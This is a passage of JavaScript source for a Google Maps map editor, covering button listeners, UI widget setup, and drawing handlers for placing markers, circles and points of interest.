false);\n document.getElementById(\"content_toolbox_button_zoomIn\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"in\");\n }, false);\n document.getElementById(\"content_toolbox_button_zoomReset\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"reset\");\n }, false);\n document.getElementById(\"content_toolbox_button_zoomOut\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.zoomMap(\"out\");\n }, false);\n //tab\n document.getElementById(\"content_toolbox_button_manageItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageItem\");\n }, false);\n document.getElementById(\"content_toolbox_button_manageOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"manageOverlay\");\n }, false);\n document.getElementById(\"content_toolbox_button_managePOI\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.action(\"managePOI\");\n }, false);\n document.getElementById(\"content_toolbox_searchField\").addEventListener(\"click\", function () {\n //nothing yet\n }, false);\n document.getElementById(\"content_toolbox_searchButton\").addEventListener(\"click\", function () {\n if (document.getElementById(\"content_toolbox_searchField\").value != null) {\n var stuff = document.getElementById(\"content_toolbox_searchField\").value;\n MAPEDITOR.UTILITIES.finder(stuff);\n }\n }, false);\n //tab\n document.getElementById(\"content_toolbox_button_itemPlace\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.place(\"item\");\n }, false);\n document.getElementById(\"content_toolbox_button_itemGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.geolocate(\"item\");\n }, false);\n document.getElementById(\"content_toolbox_button_useSearchAsLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.useSearchAsItemLocation();\n }, false);\n document.getElementById(\"content_toolbox_button_convertToOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.convertToOverlay();\n }, false);\n document.getElementById(\"content_toolbox_posItem\").addEventListener(\"click\", function () {\n //nothing, maybe copy?\n }, false);\n document.getElementById(\"content_toolbox_rgItem\").addEventListener(\"click\", function () {\n //nothing, maybe copy?\n }, false);\n document.getElementById(\"content_toolbox_button_saveItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.save(\"item\");\n }, false);\n document.getElementById(\"content_toolbox_button_clearItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.clear(\"item\");\n }, false);\n document.getElementById(\"content_toolbox_button_deleteItem\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.deleteItemLocation();\n }, false);\n document.getElementById(\"content_toolbox_button_overlayGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.geolocate(\"overlay\");\n }, false);\n document.getElementById(\"content_toolbox_button_overlayToggle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"overlays\");\n }, false);\n document.getElementById(\"rotationKnob\").addEventListener(\"click\", function () {\n //do nothing, (possible just mapedit_container)\n }, false);\n document.getElementById(\"content_toolbox_rotationCounterClockwise\").addEventListener(\"click\", function () {\n MAPEDITOR.UTILITIES.rotate(-0.1);\n }, false);\n document.getElementById(\"content_toolbox_rotationReset\").addEventListener(\"click\", function () {\n MAPEDITOR.UTILITIES.rotate(0);\n }, false);\n document.getElementById(\"content_toolbox_rotationClockwise\").addEventListener(\"click\", function () {\n MAPEDITOR.UTILITIES.rotate(0.1);\n }, false);\n document.getElementById(\"transparency\").addEventListener(\"click\", function () {\n //nothing (possible just mapedit_container)\n }, false);\n document.getElementById(\"overlayTransparencySlider\").addEventListener(\"click\", function () {\n //nothing (possible just mapedit_container)\n }, false);\n document.getElementById(\"content_toolbox_button_saveOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.save(\"overlay\");\n }, false);\n document.getElementById(\"content_toolbox_button_clearOverlay\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.clear(\"overlay\");\n }, false);\n //tab\n document.getElementById(\"content_toolbox_button_poiGetUserLocation\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.geolocate(\"poi\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiToggle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.toggleVis(\"pois\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiMarker\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.placePOI(\"marker\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiCircle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.placePOI(\"circle\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiRectangle\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.placePOI(\"rectangle\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiPolygon\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.placePOI(\"polygon\");\n }, false);\n document.getElementById(\"content_toolbox_button_poiLine\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.placePOI(\"line\");\n }, false);\n document.getElementById(\"content_toolbox_button_savePOI\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.save(\"poi\");\n }, false);\n document.getElementById(\"content_toolbox_button_clearPOI\").addEventListener(\"click\", function () {\n MAPEDITOR.ACTIONS.clear(\"poi\");\n }, false);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initListeners completed...\");\n } catch (err) {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L_Error1 + \": \" + err + \" at line \" +err.lineNumber );\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initOptions: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initOptions started...\");\n\n MAPEDITOR.ACTIONS.toggleVis(\"mapControls\");\n MAPEDITOR.ACTIONS.toggleVis(\"mapControls\");\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n MAPEDITOR.ACTIONS.toggleVis(\"toolbox\");\n MAPEDITOR.ACTIONS.toggleVis(\"toolbar\");\n MAPEDITOR.ACTIONS.toggleVis(\"toolbar\");\n MAPEDITOR.ACTIONS.toggleVis(\"kml\");\n MAPEDITOR.ACTIONS.toggleVis(\"kml\");\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n MAPEDITOR.ACTIONS.toggleVis(\"mapDrawingManager\");\n MAPEDITOR.UTILITIES.buttonActive(\"layer\");\n document.getElementById(\"content_toolbarGrabber\").style.display = \"block\";\n\n //reset the visual rotation value on page load\n $('.knob').val(0).trigger('change');\n\n //menubar\n MAPEDITOR.TRACER.addTracer(\"[WARN]: #mapedit_container_pane_0 background color must be set manually if changed from default.\");\n document.getElementById(\"mapedit_container_pane_0\").style.display = \"block\";\n\n switch (MAPEDITOR.GLOBAL.DEFINES.incomingACL) {\n case \"item\":\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"item\");\n break;\n case \"overlay\":\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"overlay\");\n break;\n case \"poi\":\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"poi\");\n break;\n case \"none\":\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"actions\");\n break;\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: main count: \" + MAPEDITOR.GLOBAL.DEFINES.mainCount);\n\n //determine ACL maptype toggle\n if (MAPEDITOR.GLOBAL.DEFINES.hasCustomMapType == true) {\n MAPEDITOR.UTILITIES.actionsACL(\"full\", \"customMapType\");\n } else {\n MAPEDITOR.UTILITIES.actionsACL(\"none\", \"customMapType\");\n }\n\n //set window offload fcn to remind to save\n window.onbeforeunload = function (e) {\n if (MAPEDITOR.GLOBAL.DEFINES.userMayLoseData) {\n var message = MAPEDITOR.LOCALIZATION.DEFINES.L47,\n e = e || window.event;\n // For IE and Firefox\n if (e) {\n e.returnValue = message;\n }\n // For Safari\n return message;\n } else {\n //do nothing\n }\n };\n\n //clear textboxes\n document.getElementById(\"content_toolbar_searchField\").value = \"\";\n document.getElementById(\"content_toolbox_searchField\").value = \"\";\n document.getElementById('content_toolbox_posItem').value = \"\";\n document.getElementById('content_toolbox_rgItem').value = \"\";\n\n //closes loading blanket\n document.getElementById(\"mapedit_blanket_loading\").style.display = \"none\";\n\n //moved here to fix issue where assignment before init\n MAPEDITOR.GLOBAL.DEFINES.kmlLayer.setOptions({ suppressinfoWindows: true });\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initOptions completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initJqueryElements: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initJqueryElements started...\");\n try {\n //init superfish\n $('ul.sf-menu').superfish();\n //draggable content settings\n $(\"#mapedit_container_toolbox\").draggable({\n handle: \"#mapedit_container_toolboxMinibar\" //div used as handle\n //containment: \"#mapedit_container\" //bind to map container (for this to work must define starting position and assign once mapedit container is set properly loaded)\n });\n //accordian settings\n $(\"#mapedit_container_toolboxTabs\").accordion({\n animate: true, //turn off all animations (this got rid of search icon problem) //if ever set, check WORKAROUND in openToolboxTabs(id)\n active: 0, //which tab is active\n icons: false, //default icons?\n //collapsible: true, //does not work\n heightStyle: \"content\" //set hieght to?\n });\n //tooltips (the tooltip text is the title of the element defined in localization js)\n $(\"#content_toolbox_button_saveItem\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_saveItem\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_saveOverlay\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_saveOverlay\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_savePOI\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_savePOI\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_clearItem\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_clearItem\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_clearOverlay\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_clearOverlay\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_clearPOI\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_clearPOI\").tooltip(\"close\"); }, 3000); } });\n $(\"#content_toolbox_button_deleteItem\").tooltip({ show: { delay: 500 }, track: true, open: function () { setTimeout(function () { $(\"#content_toolbox_button_deleteItem\").tooltip(\"close\"); }, 3000); } });\n $(document).tooltip({ track: true, show: { delay: 300 } }); //(used to blanket all the tooltips)\n //$(\".selector\").tooltip({ content: \"Awesome title!\" });\n } catch (err) {\n alert(MAPEDITOR.LOCALIZATION.DEFINES.L51 + \": \" + err + \" at line \" +err.lineNumber );\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n try {\n $(\"#overlayTransparencySlider\").slider({\n animate: true,\n range: \"min\",\n value: MAPEDITOR.GLOBAL.DEFINES.preservedOpacity,\n orientation: \"vertical\",\n min: 0.00,\n max: 1.00,\n step: 0.01,\n slide: function (event, ui) {\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"yes\") {\n var selection = $(\"#overlayTransparencySlider\").slider(\"value\");\n MAPEDITOR.TRACER.addTracer(\"[INFO]: opacity selected: \" + selection);\n MAPEDITOR.UTILITIES.keepOpacity(selection);\n }\n }\n });\n $(\".knob\").knob({\n change: function (value) {\n if (MAPEDITOR.GLOBAL.DEFINES.currentlyEditing == \"yes\") {\n MAPEDITOR.GLOBAL.DEFINES.knobRotationValue = value; //assign knob value\n if (value > 180) {\n MAPEDITOR.GLOBAL.DEFINES.knobRotationValue = ((MAPEDITOR.GLOBAL.DEFINES.knobRotationValue - 360) * (1)); //used to correct for visual effect of knob error\n //MAPEDITOR.GLOBAL.DEFINES.knobRotationValue = ((MAPEDITOR.GLOBAL.DEFINES.knobRotationValue-180)*(-1));\n }\n //only do something if we are in pageEdit Mode and there is an overlay to apply these changes to\n if (MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex != null) {\n MAPEDITOR.GLOBAL.DEFINES.preservedRotation = MAPEDITOR.GLOBAL.DEFINES.knobRotationValue; //reassign\n MAPEDITOR.UTILITIES.keepRotate(MAPEDITOR.GLOBAL.DEFINES.preservedRotation); //send to display fcn of rotation\n MAPEDITOR.TRACER.addTracer(\"[INFO]: setting rotation from knob at wroking index: \" + MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex + \"to value: \" + MAPEDITOR.GLOBAL.DEFINES.preservedRotation);\n MAPEDITOR.GLOBAL.DEFINES.savingOverlayRotation[MAPEDITOR.GLOBAL.DEFINES.workingOverlayIndex - 1] = MAPEDITOR.GLOBAL.DEFINES.preservedRotation; //just make sure it is prepping for save \n }\n }\n }\n });\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initJqueryElements completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initOverlayList: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initOverlayList started...\");\n\n //reset overlay list\n document.getElementById(\"overlayList\").innerHTML = \"\";\n //determine if there are overlays\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId.length > 0) {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: there are \" + MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId.length + \" pages\");\n //for each, display \n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.incomingPolygonFeatureType[i] != \"poi\") {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: Adding Overlay List Item\");\n document.getElementById(\"overlayList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"overlayListItem\", MAPEDITOR.GLOBAL.DEFINES.incomingPolygonPageId[i], MAPEDITOR.GLOBAL.DEFINES.incomingPolygonLabel[i], \"\");\n }\n }\n }\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initOverlayList completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initListOfTextAreaIds: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initListOfTextAreaIds started...\");\n\n //assign text area ids\n MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds[0] = \"content_menubar_searchField\";\n MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds[1] = \"content_toolbar_searchField\";\n MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds[2] = \"content_toolbox_searchField\";\n MAPEDITOR.GLOBAL.DEFINES.listOfTextAreaIds[3] = \"poiDesc\";\n\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initListOfTextAreaIds completed...\");\n } catch (err) {\n MAPEDITOR.TRACER.addTracer(\"[ERROR]: \" + err + \" at line \" +err.lineNumber );\n }\n },\n initGMap: function () {\n try {\n MAPEDITOR.TRACER.addTracer(\"[INFO]: initGMap started...\");\n\n //get and set the page load time (this is used for the resizer)\n MAPEDITOR.GLOBAL.DEFINES.pageLoadTime = new Date().getTime();\n\n //as map is loading, fit to screen\n MAPEDITOR.UTILITIES.resizeView();\n \n //init gmap objs\n MAPEDITOR.GLOBAL.initGMapObjects();\n \n //initialize google map objects\n map = new google.maps.Map(document.getElementById(\"googleMap\"), MAPEDITOR.GLOBAL.DEFINES.gmapOptions);\n google.maps.visualRefresh = true; //Enable the visual refresh (new gmaps)\n map.controls[google.maps.ControlPosition.RIGHT_BOTTOM].push(MAPEDITOR.GLOBAL.DEFINES.copyrightNode); //initialize custom copyright\n map.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(MAPEDITOR.GLOBAL.DEFINES.cursorLatLongTool); //initialize cursor lat long tool\n map.controls[google.maps.ControlPosition.TOP_LEFT].push(MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone1); //initialize spacer\n map.controls[google.maps.ControlPosition.TOP_RIGHT].push(MAPEDITOR.GLOBAL.DEFINES.toolbarBufferZone2); //intialize spacer\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(map); //initialize drawing manager\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setMap(null); //initialize drawing manager (hide)\n MAPEDITOR.GLOBAL.DEFINES.geocoder = new google.maps.Geocoder(); //initialize MAPEDITOR.GLOBAL.DEFINES.geocoder\n //#region Google Specific Listeners \n\n //initialize drawingmanger listeners\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.drawingManager, 'markercomplete', function (marker) {\n MAPEDITOR.UTILITIES.testBounds(); //are we still in the bounds \n //handle if item\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"item\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"item\");\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n //used to prevent multi markers\n if (MAPEDITOR.GLOBAL.DEFINES.firstMarker > 0) {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //only place one at a time\n } else {\n MAPEDITOR.GLOBAL.DEFINES.firstMarker++;\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //only place one at a time\n }\n MAPEDITOR.GLOBAL.DEFINES.itemMarker = marker; //assign globally\n MAPEDITOR.TRACER.addTracer(\"[INFO]: marker placed\");\n document.getElementById('content_toolbox_posItem').value = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition();\n MAPEDITOR.GLOBAL.DEFINES.savingMarkerCenter = MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition(); //store coords to save\n MAPEDITOR.UTILITIES.codeLatLng(MAPEDITOR.GLOBAL.DEFINES.itemMarker.getPosition());\n google.maps.event.addListener(marker, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.GLOBAL.DEFINES.firstSaveItem = true;\n document.getElementById('content_toolbox_posItem').value = marker.getPosition();\n MAPEDITOR.UTILITIES.codeLatLng(marker.getPosition());\n });\n }\n //handle if poi\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"poi\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: marker.getPosition(), //position of real marker\n map: map,\n zIndex: 2,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.poi_i + 1, //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = marker;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"marker\";\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n var poiDescTemp = MAPEDITOR.LOCALIZATION.DEFINES.L_Marker;\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItem\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", MAPEDITOR.GLOBAL.DEFINES.poi_i, \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString,\n position: marker.getPosition()\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setMap(map);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map, MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i]);\n MAPEDITOR.TRACER.addTracer(\"[INFO]: poiCount: \" + MAPEDITOR.GLOBAL.DEFINES.poiCount);\n\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setOptions({ pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(marker, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n });\n google.maps.event.addListener(marker, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setOptions({ position: marker.getPosition(), pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(marker.getPosition());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(marker, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setOptions({ position: marker.getPosition(), pixelOffset: new google.maps.Size(0, -40) });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n\n });\n }\n //regardless of type\n //set listener for right click (fixes reset issue over overlays)\n google.maps.event.addListener(marker, 'rightclick', function () {\n MAPEDITOR.GLOBAL.DEFINES.drawingManager.setDrawingMode(null); //reset drawing manager no matter what\n });\n });\n google.maps.event.addListener(MAPEDITOR.GLOBAL.DEFINES.drawingManager, 'circlecomplete', function (circle) {\n MAPEDITOR.UTILITIES.testBounds();\n //handle if poi\n if (MAPEDITOR.GLOBAL.DEFINES.placerType == \"poi\") {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n MAPEDITOR.GLOBAL.DEFINES.poi_i++;\n\n MAPEDITOR.GLOBAL.DEFINES.label[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new MarkerWithLabel({\n position: circle.getCenter(), //position of real marker\n zIndex: 2,\n map: map,\n labelContent: MAPEDITOR.GLOBAL.DEFINES.poi_i + 1, //the current user count\n labelAnchor: new google.maps.Point(15, 0),\n labelClass: \"labels\", // the CSS class for the label\n labelStyle: { opacity: 0.75 },\n icon: {} //initialize to nothing so no marker shows\n });\n\n var poiId = MAPEDITOR.GLOBAL.DEFINES.poi_i + 1;\n MAPEDITOR.GLOBAL.DEFINES.poiObj[MAPEDITOR.GLOBAL.DEFINES.poi_i] = circle;\n MAPEDITOR.GLOBAL.DEFINES.poiType[MAPEDITOR.GLOBAL.DEFINES.poi_i] = \"circle\";\n var poiDescTemp = MAPEDITOR.LOCALIZATION.DEFINES.L_Circle;\n document.getElementById(\"poiList\").innerHTML += MAPEDITOR.UTILITIES.writeHTML(\"poiListItem\", MAPEDITOR.GLOBAL.DEFINES.poi_i, poiId, poiDescTemp);\n var contentString = MAPEDITOR.UTILITIES.writeHTML(\"poiDesc\", MAPEDITOR.GLOBAL.DEFINES.poi_i, \"\", \"\");\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i] = new google.maps.InfoWindow({\n content: contentString\n });\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[MAPEDITOR.GLOBAL.DEFINES.poi_i].open(map);\n //best fix so far\n if (MAPEDITOR.GLOBAL.DEFINES.poiCount == 0) {\n setTimeout(function () {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[0].setMap(map);\n }, 800);\n }\n MAPEDITOR.GLOBAL.DEFINES.poiCount++;\n\n google.maps.event.addListener(circle, 'dragstart', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setMap(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(null);\n }\n }\n\n });\n google.maps.event.addListener(circle, 'dragend', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(circle, 'click', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(map);\n }\n }\n\n });\n google.maps.event.addListener(circle, 'radius_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n\n });\n google.maps.event.addListener(circle, 'center_changed', function () {\n MAPEDITOR.GLOBAL.DEFINES.userMayLoseData = true;\n MAPEDITOR.ACTIONS.openToolboxTab(\"poi\");\n MAPEDITOR.GLOBAL.DEFINES.firstSavePOI = true;\n for (var i = 0; i < MAPEDITOR.GLOBAL.DEFINES.poiObj.length; i++) {\n if (MAPEDITOR.GLOBAL.DEFINES.poiObj[i] == this) {\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.infoWindow[i].open(null);\n MAPEDITOR.GLOBAL.DEFINES.label[i].setPosition(circle.getCenter());\n MAPEDITOR.GLOBAL.DEFINES.label[i].setMap(map);\n }\n }\n });\n }\n //regardless of type\n //used for latlong tool\n google.maps.event.addListener(circle, 'drag', function () {\n //used to get the center point for lat/long tool\n MAPEDITOR.GLOBAL.DEFINES.circleCenter = circle.getCenter();\n var str = circle.getCenter().toString();\n var cLatV = str.replace(\"(\", \"\").replace(\")\", \"\").split(\",\", 1);\n var cLongV = str.replace(cLatV, \"\").replace(\"(\", 